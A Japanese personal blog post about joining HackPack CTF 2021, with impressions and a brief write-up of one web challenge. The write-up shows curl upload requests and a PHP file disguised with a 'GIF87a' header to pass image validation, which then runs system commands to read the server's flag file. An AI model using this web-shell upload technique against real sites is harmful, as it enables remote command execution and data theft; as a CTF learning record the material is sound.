たくろぐ!

仕事はエンジニア、心はアーティスト

HackPack CTF 2021に出ました

TL;DR

sh -a ./chiku チームとして79thに入賞できました。

私個人としてはチームとしては初参戦で、webを1問解きました。

100位以内に入賞しました
100位以内に入賞しました

hackpack.club

writeupは別のエントリーで公開します。

感想

私はweb1問だけですがほかの方は平均4問解いていたので、まだまだだね(越前リョーマ風)と感じました。

ローカルPCでバイナリ問題の環境が整備できておらず、CTF中に構築がんばりましたがIDAのお姉さんにbochesがねーよって怒られて、インスコしてパス通してる間に終わってました。

本業はwebエンジニアなのでwebがじょうずと言いたいところですが、1問しか解けませんでした。

徳丸本をMacでやっていたので買い足したWin10で再度ハンズオン頑張ろうと思いました。

ちなみにpwnやらreverseやらの問題も見るだけ見てみましたが、さっぱりわからずでした。

まだまだだn (ry

正味2回目のCTF参戦で、チームで参加するとsolverを教えてくれる文化や、協力して解く文化が楽しいなって思えてとても新鮮でよかったです。

チーム結成者の方いわく、CTFを学生のころからやっている人たちにも負けないチームを作りたいということで結成されたという熱いチームなのでこのチームで継続して頑張っていきたいしょぞん!!!

引き続きセキュリティエンジニア目指して頑張ります!!!

オワオワリ。

ファイルアップロード攻撃してflagを奪取しました

結論

以下のスクリプト通りにファイル冒頭にgifファイルですよっていう宣言をしてphpファイルをあたかもgifと偽装して拡張子バリデーションをスキップさせる。

soji256.hatenablog.jp

あとはphpファイル内部で書いたシステム(OS)コマンドを実行し、その結果をブラウザで見る。

実行結果をファイルに書き出してscp、sftpとかしたい人生だった。

参考にした

curlでのファイルアップロードスクリプト

into.cocolog-nifty.com

medium.com

blog.hamayanhamayan.com

Python実行環境のサーバ

graneed.hatenablog.com

やっていき

雑になげやリクエスト。

$ curl -F 'img_avatar=@get_flag.php' https://うーあーるえう
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  1146    0   786  100   360   1393    638 --:--:-- --:--:-- --:--:--  2031<br />
<b>Warning</b>:  Undefined array key "avatar" in <b>/var/www/html/core.php</b> on line <b>5</b><br />
<br />
<b>Warning</b>:  Trying to access array offset on value of type null in <b>/var/www/html/core.php</b> on line <b>5</b><br />
<br />
<b>Warning</b>:  Undefined array key "avatar" in <b>/var/www/html/core.php</b> on line <b>10</b><br />
<br />
<b>Warning</b>:  Trying to access array offset on value of type null in <b>/var/www/html/core.php</b> on line <b>10</b><br />
<br />
<b>Fatal error</b>:  Uncaught ValueError: Path cannot be empty in /var/www/html/core.php:10
Stack trace:
#0 /var/www/html/core.php(10): getimagesize('')
#1 /var/www/html/index.php(2): require_once('/var/www/html/c...')
#2 {main}
  thrown in <b>/var/www/html/core.php</b> on line <b>10</b><br />

core.phpの5行目でavatarっていう名前のファイルがねーよって怒られている気がする。

stackoverflow.com

ファイル名をavatarにして再度雑にリクエスト投げ。

$ curl -F "avatar=@get_flag.php" https://うーあーるえう/
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   286  100    28  100   258     23    219  0:00:01  0:00:01 --:--:--   243get_flag.php is not an image

イメージファイルじゃねーよって怒られた気がするのでgifに偽装してリクエスト。

$ cat get_flag.php
GIF87a
<?php
system('echo "=================================="');
system('/bin/cat /var/www/flag.txt');
system('echo "=================================="');
//system('ls -la /very_long_directory_path/');
//system('echo "=================================="');
//var_dump( exec('ls', $out, $ret) );
//print_r( $out );
//var_dump( $ret );
//system('echo "=================================="');
?>

いけた。

f:id:takkuso:20210417151733p:plain